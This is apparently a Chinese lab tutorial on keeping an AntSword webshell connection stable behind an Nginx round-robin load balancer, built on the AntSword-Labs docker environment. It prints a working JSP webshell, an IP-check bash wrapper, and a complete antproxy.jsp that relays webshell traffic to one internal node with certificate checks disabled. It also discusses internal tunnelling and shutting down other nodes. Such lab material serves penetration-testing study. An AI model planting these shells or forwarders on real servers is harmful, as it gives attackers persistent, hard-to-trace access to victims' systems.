负载均衡下Webshell连接思路及难点

君衍.

一、应用场景

负载均衡是一种分布式计算或网络服务的技术,旨在将工作负载(请求、数据等)均匀分配到多个服务器或网络资源上,以提高整体系统的性能、可靠性和可扩展性。同时负载均衡也是如今解决Web应用承载大流量访问问题得一种普遍方案,实现负载均衡也有多种方式,比如购买负载均衡设备、Nginx实现负载均衡、DNS负载均衡以及IP散列等方式。那么今天我们主要探讨的问题便是在负载均衡环境下进行webshell连接。
首先我们可以看下基于DNS的负载均衡:

还有nginx的基于反向代理实现的负载均衡:

我们本篇重点就在反向代理方式,也就是不能直接访问到跑着具体业务的某个节点的情况。

反向代理方式最典型的也就是Nginx所实现的负载均衡,所以,我们首先来看Nginx支持的几种负载均衡方式:

名称 策略
轮询(默认) 按请求顺序逐一分配
weight 根据权重分配
ip_hash 根据客户端IP分配
least_conn 根据连接数分配
fair (第三方) 根据响应时间分配
url_hash (第三方) 根据URL分配

这里典型的主要是轮询以及加权,像这种ip_hash以及url_hash这种固定访问到某个节点的情况我们就没有必要再进行讨论了,所以这里我们使用默认轮询的方式来进行演示,演示环境为AntSword-Labs。本篇我们来看在负载均衡情况下进行上传Webshell的思路,首先我们来搭建环境。

二、环境搭建

准备环境: Ubuntu虚拟机、Docker环境、蚁剑

这里我使用Ubuntu虚拟机版本为22.04版本:

bash 复制代码
apt-get install docker.io
docker -v


靶场环境我们使用蚁剑作者提供的docker镜像来演示:
https://github.com/AntSwordProject/AntSword-Labs

这里我们可以先下载到本机,然后上传至虚拟机,如果嫌配置代理麻烦的话。

bash 复制代码
unzip AntSword-Labs-master.zip
mv AntSword-Labs-master ant # 这里我改个名字

下面我们到执行目录来启动靶场环境,同时它会自动拉取镜像:

bash 复制代码
cd /root/ant/loadbalance/loadbalance-jsp
docker-compose up -d

我们拉去完毕可以进行查看下:

bash 复制代码
docker ps -a

上面三个我们可以看到创建完毕,同时最后那个是我之前进行docker环境测试时候创建的。

自此,我们的环境搭建完毕,下面我们来看负载均衡环境下webshell连接思路以及难点

三、思路以及难点

1、查看内部结构

首先这里我们可以查看下它的compose文件:

在这里我们可以看到nginx的80端口映射到了主机的18080端口上,同时我们访问your-ip:8080就可以访问到这个环境下的web服务,也可以看到node1以及node2均是tomcat8。

同时在这个环境下已经上传好了脚本,上图我们可以假设在真实的业务系统下,这里是没有配置页面而已,同时这个业务系统存在一个RCE远程命令执行漏洞,我们已经上传好了脚本,可以获取webshell。

2、查看webshell

这里我们可以查看下上传脚本的位置:

bash 复制代码
docker ps -a
docker exec -it c995f68db10b /bin/bash
cd /usr/local/tomcat/webapps/ROOT/
ls -al
exit
docker exec -it 62fbc5b31021 /bin/bash
cd /usr/local/tomcat/webapps/ROOT/
ls -al
cat ant.jsp
exit

这里我们很明显可以看到很明显是一个webshell,因为上面有一个接收参数,通过接收参数ant,我们可以连接到上面一串木马。我们只需用蚁剑连就行。他这里我们发现每个节点都有木马,其实上传至一个节点,我们进行多次保存也可以实现多个节点都有。

3、使用蚁剑进行连接


完成后点击添加,就可以连接到我们的webshell了。

4、难点1 shell文件上传问题

这里我们以及上传完毕webshell,两台都上传了,所以我们在打开使用时不会出现任何错误,那如果我们只上传一台节点,我们可以来看下这种情况:

(这里我们可以先让一台节点的webshell失效)

bash 复制代码
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker ps -a
CONTAINER ID   IMAGE                      COMMAND                  CREATED          STATUS                    PORTS                                     NAMES
1be0cf1882e9   nginx:1.17                 "nginx -g 'daemon of..."   31 minutes ago   Up 31 minutes             0.0.0.0:18080->80/tcp, :::18080->80/tcp   loadbalance-jsp-nginx-1
c995f68db10b   loadbalance-jsp_lbsnode1   "catalina.sh run"        31 minutes ago   Up 31 minutes             8080/tcp                                  loadbalance-jsp-lbsnode1-1
62fbc5b31021   loadbalance-jsp_lbsnode2   "catalina.sh run"        31 minutes ago   Up 31 minutes             8080/tcp                                  loadbalance-jsp-lbsnode2-1
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker exec -it c995f68db10b /bin/bash
root@c995f68db10b:/usr/local/tomcat# find  / -name ant.jsp
/usr/local/tomcat/webapps/ROOT/ant.jsp
root@c995f68db10b:/usr/local/tomcat# cd /usr/local/tomcat/webapps/ROOT
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# ls -al
total 12
drwxr-xr-x 2 root root 4096 Jan 29 03:46 .
drwxr-xr-x 1 root root 4096 Jan 29 03:46 ..
-rw-r--r-- 1 root root  316 May 17  2021 ant.jsp
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# mv ant.jsp ant
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# ls -al
total 20
drwxr-xr-x 1 root root 4096 Jan 29 04:20 .
drwxr-xr-x 1 root root 4096 Jan 29 03:46 ..
-rw-r--r-- 1 root root  316 May 17  2021 ant
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# 


此时我们退出来重新连接会发现刷新目录报错了,这其实是因为我们刷新的时候请求被解析到这台我们修改过的节点服务器上,同时上面没有我们上传上去的脚本文件,所以访问不到,报错代码为404。所以这里如何让我们的webshell分布在各个节点服务器上这个是第一个问题。

这里其实我们也可以做个实验,我们在一台服务器上保存一个文件会发现这个文件时存在时不存在,也可以说明这个问题。

解决: 这里我们多保存几次即可,刷新到脚本目录下狂点保存其实也是可以做到的。所以这个相较于还是比较简单的。

5、难点2 命令执行时飘逸

好的,首先我们先还原服务器:

bash 复制代码
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# mv ant ant.jsp
root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# cat ant.jsp 
<%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant");if(cls!=null){ new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>root@c995f68db10b:/usr/local/tomcat/webapps/ROOT# exitexit
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# 

下面我们来看在负载均衡环境下执行命令所遇到的问题,这里会发生漂移现象,不知道命令在哪一台服务器上执行。我们这里到蚁剑上的虚拟终端执行命令:

这里我们可以看到一条查看IP地址的命令却发生了结果是变化的,我们就会发现这是在负载均衡的轮询方式下IP的变化,如果在权重方式,节点服务器增多,可能我们就无迹可寻。

当然这里由于在docker环境下,所以很多命令没有安装,ifconfig从而无法使用,这里我们需要在节点服务器上进行安装net-tools,如果在真实的场景下肯定是有ifconfig这个命令的。

6、难点3 大工具上传失败

这里我们在渗透时,需要上传一些工具时必然的,但是由于蚁剑上传文件时,采用的是分片上传,将一个文件分为多个片发送给目标,也就是会发送多个数据包,所以这里我们遇到一个问题,在两台甚至多台节点上,可能会有我们工具的一小部分,至于组合来源于LBS算法。所以这将是我们面临的一个大的问题。

7、难点4 脚本失效

由于我们的tomcat服务器是在内网的,不出网,我们想要获取到该服务器更多内容,我们就需要打通主机到内网的通道,我们一般用regeorg/httpabs等http 隧道工具,但是这个场景我们无法将我们的工具上传到我们的服务器上,就会导致我们无法连接到内网。

上图是regerg运行的原理图,但是由于我们的节点服务器会不断变化,所以也就会使攻击者与部署了regerg的主机之间不能保持完整的连接时间,也就无法实现与内网的连接。所以这样的环境下,使用内网工具进行部署也是一个难点。

四、解决方式

在解决第一个难点我们这里其实是可以进行多次保存。来实现webshell上传至所有节点服务器上的。所以我们这里着重讨论剩下几个难点。

1、关闭对方节点服务器

由于对于企业的服务器一个有漏洞,可能几乎剩下的节点服务器上都存在着相同的漏洞,所以这里我们有个最作死的思路就是,渗透进所有节点服务器,将节点服务器关闭,保留一台,这个想法肯定是可以解决我们的问题,但是人在不在就不一定了。

这里我们先不说权限是否足够,一般是情况下是不够的,但是这个实验的环境是docker,所以我们这里是root权限,肯定是足够的,但是,如果在真实的环境中,这里一般不会是root权限,同时,一般企业都有运维人员,同时存在着管理系统,如果一台服务器关闭了,必然会影响别人的业务,同时触发报警,那么毫无疑问,准备承担法律责任,所以这个方法比较作死,但是确实可以解决,风险巨大。

2、基于IP地址判断是否执行

这里我们可能会想到,如果我们在每次执行命令之前,先判断主机的IP地址,不就可以解决命令飘逸,所以这里我们需要写一个shell脚本,同时由于该环境后端是tomcat,所以java也可以。这里我是用shell。

1、由于该环境位于docker,没有ifconfig这个命令,所以这里我们先安装这个命令。

bash 复制代码
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker ps -a
CONTAINER ID   IMAGE                      COMMAND                  CREATED             STATUS                    PORTS                                     NAMES
1be0cf1882e9   nginx:1.17                 "nginx -g 'daemon of..."   About an hour ago   Up About an hour          0.0.0.0:18080->80/tcp, :::18080->80/tcp   loadbalance-jsp-nginx-1
c995f68db10b   loadbalance-jsp_lbsnode1   "catalina.sh run"        About an hour ago   Up About an hour          8080/tcp                                  loadbalance-jsp-lbsnode1-1
62fbc5b31021   loadbalance-jsp_lbsnode2   "catalina.sh run"        About an hour ago   Up About an hour          8080/tcp                                  loadbalance-jsp-lbsnode2-1
113629a6f8e6   hello-world                "/hello"                 14 hours ago        Exited (0) 14 hours ago                                             eloquent_cohen
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker exec -it c995f68db10b /bin/bash
root@c995f68db10b:/usr/local/tomcat# apt-get update
······
root@c995f68db10b:/usr/local/tomcat# apt-get install net-tools
······
root@c995f68db10b:/usr/local/tomcat# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.18.0.2  netmask 255.255.0.0  broadcast 172.18.255.255
        ether 02:42:ac:12:00:02  txqueuelen 0  (Ethernet)
        RX packets 4429  bytes 29895346 (29.8 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3968  bytes 233047 (233.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
root@c995f68db10b:/usr/local/tomcat# docker exec -it 62fbc5b31021 /bin/bash
bash: docker: command not found
root@c995f68db10b:/usr/local/tomcat# exit
exit
root@zyan-virtual-machine:~/ant/loadbalance/loadbalance-jsp# docker exec -it 62fbc5b31021 /bin/bash
root@62fbc5b31021:/usr/local/tomcat# apt-get update
······
root@62fbc5b31021:/usr/local/tomcat# apt-get install net-tools
······
root@62fbc5b31021:/usr/local/tomcat# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.18.0.3  netmask 255.255.0.0  broadcast 172.18.255.255
        ether 02:42:ac:12:00:03  txqueuelen 0  (Ethernet)
        RX packets 4219  bytes 29869959 (29.8 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3218  bytes 186078 (186.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
root@62fbc5b31021:/usr/local/tomcat# 

到这里我们已经在两台服务器上都安装了ifconfig这个命令,如下图:

下面我们将使用grep将IP地址筛选出来:

bash 复制代码
ifconfig | grep 'inet 172' | awk '{print $2}'


好的,接下来我们编写shell脚本来完成对IP地址的判断,从而完成命令基于IP地址的执行。

(这里判断完IP地址对于命令执行我们使用id来代表所需执行的命令)

所以下面这个shell就是我们所需的脚本:

bash 复制代码
#!/bin/bash
 
MYIP=$(ifconfig | grep "inet 172" | awk '{print $2}' | cut -d'/' -f1)
 
if [ "$MYIP" = "172.18.0.2" ]; then
    echo "execute command"
    id
else
    echo "try again!!!!"
fi


疯狂保存,才可成功,
下面我们增加执行权限。也是多点几次,使他能在两个服务器都执行

bash 复制代码
chmod +x demo.sh


这样我们是能确保我们执行的命令在我们想要的机器上,但是这样执行命令挺麻烦,甚至时常蚁剑的中断内运行会出现问题,在真机上测试正常,所以不推荐使用。

3、脚本实现流量转发

我们使用蚁剑确实没法直接去访问LBSnode1内网IP的8080端口,但是除了nginx访问外,LBSnode2服务器可以访问node1的8080端口。也就是说我们可以写一个脚本来判断流量的目的IP地址,判断不是node1,就将流量转发到node1的ant.jsp即可,这样可以实现稳定连接。

如上图所示,我们可以看到内网的两台节点服务器是可以进行相互通信的。

bash 复制代码
curl http://172.18.0.3:8080 -X HEAD -v

所以我们的转发过程大概如下如所示:

这里我们看这张图,可以看到首先连接请求到达nginx进行负载均衡,然后交给节点服务器进行处理,交给node1,那么它就会访问antproxy.jsp文件,将流量转发到172.18.0.2节点上的ant.jsp,同时如果交给node2,那么它就会访问节点2的antproxy.jsp文件,同样将流量转发给172.18.0.2节点上的ant.jsp文件,从而实现稳定的通信。

3.1 创建antproxy.jsp脚本

这里我们修改转发地址,转发至node的内网IP的目标脚本,访问地址。


脚本如下:

bash 复制代码
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>

<%
        String target = "http://172.18.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

注意:

  • a) 不要使用上传功能,上传功能会分片上传,导致分散在不同 Node 上。
  • b) 要保证每一台 Node 上都有相同路径的 antproxy.jsp, 所以我疯狂保存了很多次,保证每一台都上传了脚本。

3.2 修改 Shell 配置

同时将 URL 部分填写为 antproxy.jsp 的地址

这下我们进行查看IP地址测试,看还会是否飘逸:

这里我们可以看到IP地址已经停止飘逸了,也就是说,我们可以稳定连接到节点服务器1了。

这里我们可以查看下tomcat的日志,可以看到访问成功的数据日志。

bash 复制代码
tail localhost_access_log.2024-01-29.txt

Node1 和 Node2 通过相互访问 Node1 上的 /ant.jsp 文件,符合 nginx 在此时的负载均衡(LBS)策略。

  • 在优点方面,这种方法具有低权限即可完成的特点。即使权限较高,仍可以通过端口层面直接转发,但与 Plan A 关闭服务的效果相似。在流量方面,该方法仅影响访问 WebShell 的请求,不会影响其他正常业务请求。此外,这种方式还能适配更多的工具。
  • 然而,存在一些缺点。该方案要求"目标 Node"和"其他 Node"之间建立内网互通,如果无法实现内网互通,该方案将失效。因此,确保内网通信安全的加固方案至关重要。
相关推荐
Estar.Lee4 分钟前
时间操作[计算时间差]免费API接口教程
android·网络·后端·网络协议·tcp/ip
学Linux的语莫9 分钟前
搭建服务器VPN,Linux客户端连接WireGuard,Windows客户端连接WireGuard
linux·运维·服务器
legend_jz14 分钟前
【Linux】线程控制
linux·服务器·开发语言·c++·笔记·学习·学习方法
Komorebi.py15 分钟前
【Linux】-学习笔记04
linux·笔记·学习
黑牛先生17 分钟前
【Linux】进程-PCB
linux·运维·服务器
Karoku06622 分钟前
【企业级分布式系统】ELK优化
运维·服务器·数据库·elk·elasticsearch
drebander26 分钟前
使用 Java Stream 优雅实现List 转化为Map<key,Map<key,value>>
java·python·list
友友马35 分钟前
『 Linux 』网络层 - IP协议(一)
linux·网络·tcp/ip
莫叫石榴姐35 分钟前
数据科学与SQL:组距分组分析 | 区间分布问题
大数据·人工智能·sql·深度学习·算法·机器学习·数据挖掘
威威猫的栗子1 小时前
Python Turtle召唤童年:喜羊羊与灰太狼之懒羊羊绘画
开发语言·python